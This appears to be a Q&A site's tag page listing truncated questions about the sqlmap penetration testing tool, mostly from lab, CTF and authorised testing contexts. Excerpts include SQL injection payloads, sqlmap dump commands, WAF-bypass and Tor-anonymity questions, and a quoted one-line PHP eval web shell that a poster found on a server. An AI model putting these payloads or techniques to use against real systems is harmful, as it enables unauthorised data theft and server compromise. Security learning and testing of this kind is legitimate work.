Questions tagged [sqlmap]

sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers.

Filter by
Sorted by
Tagged with
1 vote
0 answers
91 views

How to ignore asterisk characters in sqlmap?

I've come across a webpage that uses Iron cookies. These cookies have the exemplary format: Fe26.2**0cdd607945dd1dffb7da0b0bf5f1a7daa6218cbae14cac51dcbd91fb077aeb5b*aOZLCKLhCt0D5IU1qLTtYw*...
Andres R's user avatar
0 votes
0 answers
241 views

SQLmap custom injection point in JSON

The post request like this: POST /api/test/ HTTP/1.1 Host: example.com Cookie: .ASPXAUTH=5B8094E Content-Type: application/json; charset=utf-8 Connection: close Content-Length: 179 {"Verb":...
TSFH's user avatar
  • 13
0 votes
1 answer
1k views

Adding Payload to URL-based SQL Injection: Seeking Guidance and Best Practices

I recently performed a vulnerability assessment on a system using ZAP (Zed Attack Proxy) and received a finding indicating a likely SQL injection vulnerability. The query time is controllable using ...
Floppa's user avatar
  • 11
0 votes
0 answers
237 views

sqlmap base64 encoded cookie with working manual sql injection

I am trying to automate sql injection using sqlmap by using the following command: sqlmap -r req.txt --dump where req.txt is the request which is captured with Burp Suite. sqlmap couldn't find the ...
alireza sadeghpour's user avatar
1 vote
1 answer
250 views

What's the difference between dynamic and static parameters in Sqlmap?

What are the practical differences between them? i.e. a parameter referred to as being "dynamic" and "not dynamic"?
fdku's user avatar
  • 11
0 votes
1 answer
94 views

How to use sqlmap when the injectable parameter is not a regular parameter?

I have a target website, which parameter is not a regular parameter, which looks like: POST /some_url 'info={"actual_parameter1": "abc", "actual_parameter2": "def&...
Siwei's user avatar
  • 101
0 votes
0 answers
283 views

sql injection in Microsoft SQL Server 2017 problem retrieving db names

While I was pentesting, I came across a blind sql injection in a website that uses IIS. I tried this payload " AND 11=11 AND ('Hlua'='Hlua" and it works and it gives success page then i ...
ben39's user avatar
  • 1
0 votes
0 answers
151 views

SQLMap does not show current database

sqlmap is not showing the database when i run a sql-shell SELECT current_database(): 'odb' When I run sqlmap with --dbs it is not showing that odb and I cannot retrieve data from it. What can be ...
mails's user avatar
  • 9
0 votes
0 answers
309 views

sqlmap UNION query based injection, fix certain column values

I am going through some basic security training involving exploiting an SQL injection in a test service. I am trying to get sqlmap to dump the DB contents. I found a vulnerable endpoint, I can ...
n0rd's user avatar
  • 109
0 votes
0 answers
88 views

sqlmap form data is empty

I am scanning my website sqlmap -u http://127.0.0.1/form --forms --random-agent --data="password=NotEmpty" --batch -t logtraffic.txt yet if I open logtraffic.txt I get VIEWSTATE=...
C.Unbay's user avatar
  • 207
0 votes
1 answer
546 views

sqlmap verbose level

pretty much on every resource I go, it says the sqlmap's verbose value -v can be from 1 to 6 and default is 1, I try to look anywhere to see the difference between those values, but I can not find any ...
C.Unbay's user avatar
  • 207
0 votes
1 answer
69 views

How spamming entries in website database using the same IP address is possible?

I am working in a private company as VAPT Auditor. I am currently testing one of our project website which contains common features like login, sign up, etc. I mostly do manual testing using BurpSuite ...
Solo's user avatar
  • 1
0 votes
0 answers
270 views

sqlmap tampered payload doesn't insert correctly

My problem is that I have made my own tampered payload that should convert the actual payload to hex format. You can see from the log that the tampered payload is correct, but in the post data "...
Sortekonan's user avatar
2 votes
1 answer
483 views

SQLi - how to dump data without knowing table & field names?

A rather specific question, but I'm trying to SQL inject a vulnerable web app to enumerate data. I have permission to do this. The gist of it is there are some params, lets say 4 of them being sent to ...
A. Trevelyan's user avatar
2 votes
0 answers
217 views

Sql injection extract random bits instead of actual data

I was performing SQL injection through sqlmap and it showed that the parameter is vulnerable but it is only extracting random bits instead of actual data. I am pasting extracted material here. [00:12:...
Skull dev's user avatar
-1 votes
1 answer
804 views

How to use sqlmap while website uses multiple redirects

I am testing a publicly available site https://example.com/ebill/login.php where I fill the form with account number, like 34413271 and a cookie is assigned for later urls to use, then the above URL ...
Learner's user avatar
  • 59
0 votes
1 answer
1k views

SQLMAP setting parameter

I am testing my own flask application that should be vulnerable. I am using this in SQlmap: sqlmap -u "https://test.heroku.com/checkusername/student*" but the requests with payloads I am ...
fagner nunes's user avatar
0 votes
1 answer
131 views

Why are MySQL injections more limited than MS-SQL attacks?

I was watching the DEFCON 17: Advanced SQL Injection video here. At 15:00, when discussing the various classes and types of SQL injection attackS, the speaker stated With MySQL you really only have ...
questioner's user avatar
1 vote
1 answer
4k views

sqlmap is encountering 403 forbidden

I am trying to complete an SQL injection CTF here. I confirmed just adding a single ' mark at the end of the URL caused a MySQL syntax error, and following this tutorial, I could complete this ...
questioner's user avatar
0 votes
0 answers
885 views

How does the --os-shell parameter in Sqlmap work? Is it still anonymous over Tor?

How does the --os-shell parameter in Sqlmap work? I know its uploading a backdoor, but how is Sqlmap uploading it and is the file just a normal reverse shell trojan? Also, is it still anonymous when ...
UndercoverDog's user avatar
0 votes
1 answer
144 views

What is the wisdom of using the ASCII function in exploit SQLi?

I mean, I can exploit the vulnerability using a substring function and without using an ASCII function like: SELECT username FROM users WHERE id = 1 AND (SELECT substring(password,1,1) FROM users ...
Abdrrhmen's user avatar
1 vote
1 answer
1k views

How secure and anonymous is the --tor parameter in Sqlmap?

How secure and anonymous is the --tor parameter in Sqlmap? Does it really send every request over Tor and does it have any IP/DNS/STUN requests leak loopholes?
UndercoverDog's user avatar
0 votes
0 answers
384 views

How to modify a database through SQL injection UNION?

I need help with an sqli exercise. I used sqlmap to find a UNION vulnerability. I managed to get the H2 version with this payload: string') UNION ALL SELECT NULL,H2VERSION(),NULL,NULL,NULL-- But I ...
ilich262's user avatar
0 votes
1 answer
966 views

Cloudflare SQLinjection protection

I'm testing for vulnerabilities for a specific site using sqlmap. However, the site has a cloudflare firewall which blocks queries including for example *, ANY or OR. I sort of found a bypass while ...
nonetype's user avatar
0 votes
0 answers
727 views

SQLMAP payloads don't work manually, why?

I was trying out SQLMAP on DVWA (medium security for SQL injection), and I did get a set of payloads (sqlmap chucked out a few payloads that should have worked). But entered manually, I couldn't get ...
kellyr's user avatar
  • 1
2 votes
1 answer
362 views

API Sql Injection

I need some help with an SQL injection at an API. Webserver IIS 8.5 The GET request looks like this ... https://example.com/api/Search?q=Landing The Response looks like this HTTP/1.1 200 OK ... [{&...
Ricky's user avatar
  • 21
0 votes
1 answer
105 views

Sqlmapapi configuring task options

I'm trying to make scans using Sqlmapapi. I have added a new task, and when I call /option/$taskId/list in response, I receive JSON output with options that can be set. I could not find any ...
Bidon47's user avatar
0 votes
0 answers
2k views

Sqlmap, All tested parameters do not appear to be injectable

I am new to SQLMAP, I have been practicing with the Altoro Mutual portal which is a vulnerable portal, just enter the code 'OR 1 = 1 - in one of its forms (Login) and we will obtain administrator ...
Antuanct's user avatar
0 votes
1 answer
454 views

Sqlmap won't pick up injection point. Tweak?

I manually found an injection point, on CTF VM, located on POST form. I found it with the following manual payload : 1' OR SLEEP(1)-- t I would like to use sqlmap. I ended with following call : ...
nbonniot's user avatar
  • 103
1 vote
1 answer
3k views

Using sqlmap for detecting SQLi on Juice shop's login page

New Sqlmap user, so please be patient :) I've started looking at the tool and I'm curious about its use. For instance, the login page of OWASP's Juice shop is vulnerable to sql injection (' OR 1=1-- ...
Luis Abreu's user avatar
1 vote
2 answers
3k views

How to configure SQLMap to attack JSON parameter?

Part of a box I'm doing, I can successfully pass basic SQL query 'or'1'='1 with no errors, {"search":"'or'1'='1"} Output: HTTP/1.0 200 OK Trying to error the query {"search&...
mansk1es's user avatar
1 vote
0 answers
864 views

Can sqlmap be used to extract data if the attack is blind?

I'm solving this challenge/lab where SQLi is inside the cookie parameter. After solving it manually, I thought to check if it can extract data. I used sqlmap with --cookie=COOKIE* (Notice * that's the ...
Mike's user avatar
  • 11
1 vote
0 answers
1k views

Is it possible to enumerate Microsoft Access database using sqlmap?

I'm trying to enumerate a Microsoft Access database using sqlmap, in particular I run this command: sqlmap -r http.txt --risk 2 --dump-all Anyway it seems is not retrieving a single information. Am I ...
Maicake's user avatar
  • 567
1 vote
1 answer
4k views

Sqlmap Sleepy User-Agent

I was testing Burp Suite Crawl on some old php sites I made and it found Sleepy User-Agent SQL injection vulnerability User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, ...
Marek's user avatar
  • 11
0 votes
1 answer
848 views

SQLi Filter Bypass with banned table/column names

I've studying and practicing different approach to SQLi filter bypass and I faced a challenge. What if the WAF filters look for specific strings rather than SQL keywords? Example: Filter: /UNION/ SQLi:...
Cob013's user avatar
  • 133
0 votes
0 answers
406 views

Understanding sqlmap's payload for blind sql injection

I am fairly new to sql injections and tried to solve a little hackit to understand everything better. I wasn't able to solve one of the levels so I ran sqlmap to see what it would do. The payloads ...
cybel's user avatar
  • 111
0 votes
0 answers
559 views

Why does sqlmap dump column ids only?

I have accessed a database and using --is-dba , I know that the user IS NOT database admin and also using --privileges , I know that the privileges is USAGE . Now I want to know is this the reason ...
Mr Pro's user avatar
  • 41
3 votes
1 answer
968 views

Paths in web servers

Using sqlmap I was able to gain access to one database and using --current-user and --privileges. I can confirm that the user is root@localhost with full privileges. The part I have problem with is ...
Mr Pro's user avatar
  • 41
2 votes
2 answers
16k views

Never use stored session in sqlmap

I am trying to make sqlmap to avoid fetch data from stored session. How do I achieve that? I have performed sqlmap check once on a target and now that target is offline, I want sqlmap to just stop the ...
Sanjay Prajapat's user avatar
-1 votes
1 answer
1k views

How to continue performing checks on a site if sqlmap found an issue on a URL of the same site while using --batch option?

I have a file /tmp/urls which has following URLs: http://127.0.0.1:8081/?id=1 http://127.0.0.1:8081/?id2=1 I am using this command to perform checks on file URLs concurrently: python3 sqlmap.py --...
Sanjay Prajapat's user avatar
0 votes
1 answer
1k views

How can I dump the last row of a table?

Now in order to be familiar with a site's table , I need to dump the last row of a table named "account" . can you please tell me what parameters I can use to dump only the last row of a ...
Mr Pro's user avatar
  • 41
0 votes
1 answer
7k views

sqlmap won't give me results i'm looking for [closed]

I am trying to use sqlmap. Although every time I use it, I just get a response of: [13:39:11] [CRITICAL] previous heuristics detected that the target is protected by some kind of WAF/IPS [13:39:11] [...
Mr. Cow's user avatar
0 votes
1 answer
1k views

SQLMap Only Returns information_schema

I run this command python sqlmap.py -u https://acme.com/post.php --data "id=1" --tamper="between,randomcase,space2comment" -v 3 --random-agent --dbs but SQLMap only returns ...
maximillian1's user avatar
0 votes
0 answers
828 views

Sqlmap not detects error based injection

I am working on Hack the VM (hard machine) for my OSCP preparation There is a web app with two drop down boxes.. Year and month.. both contain numbers and a submit to fetch data from DB based on year ...
Badddy's user avatar
  • 43
0 votes
0 answers
37 views

.php code in .txt file with eval() function [duplicate]

I have found three files with name as below: a.phpfile.txt b.phpfile.txt c.phpfile.txt when i open, each file contained with the following code: <?php @eval($_POST[x]); I have deleted all ...
Abdul Rahman's user avatar
0 votes
0 answers
296 views

SQLmap automation

I'm automating SQL injection using sqlmap. Is there someone who managed to parse sqlmap console output to only report critical findings (vulnerable pages to SQL injection)? The tool doesn't support ...
ikenahimm's user avatar
0 votes
0 answers
1k views

Sqlmap waf bypass

This is my first post here, sorry for my english. Im making some test around, because i want to learn more about sql injection. Im not really good as manual sql injection, so im using sqlmap. what ...
Tessaiga's user avatar
0 votes
1 answer
4k views

SQLmap finds injectable 'id' parameter but the response is 'Internal Server Error'

I am trying to understand the SQLi so I ran SQLMap with '-vvv' parameter 4: Show also HTTP requests. I did scan one of the vulnerable and 'free to hack' sites. In one of the requests sent, the ...
bip0larf0xiE's user avatar
3 votes
2 answers
12k views

SQLMap Cookie Injectioin with Working Manual SQLi

I'm using an existing exploit which calls for a cookie called wp_sap to be set with the following value: ["1650149780')) OR 1=2 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,@@version,11#"] This works ...
Rey Bango's user avatar
  • 181
0 votes
1 answer
2k views

SQLMAP Redirect using xampp

I am learning SQLi using sqlmap and xampp. I set up my lab the same way as per tutorial but when I run sqlmap.py -u "http://localhost/bwapp/sqli_1.php?title=1*" the error got 302 redirected to ...
amsyrfkri's user avatar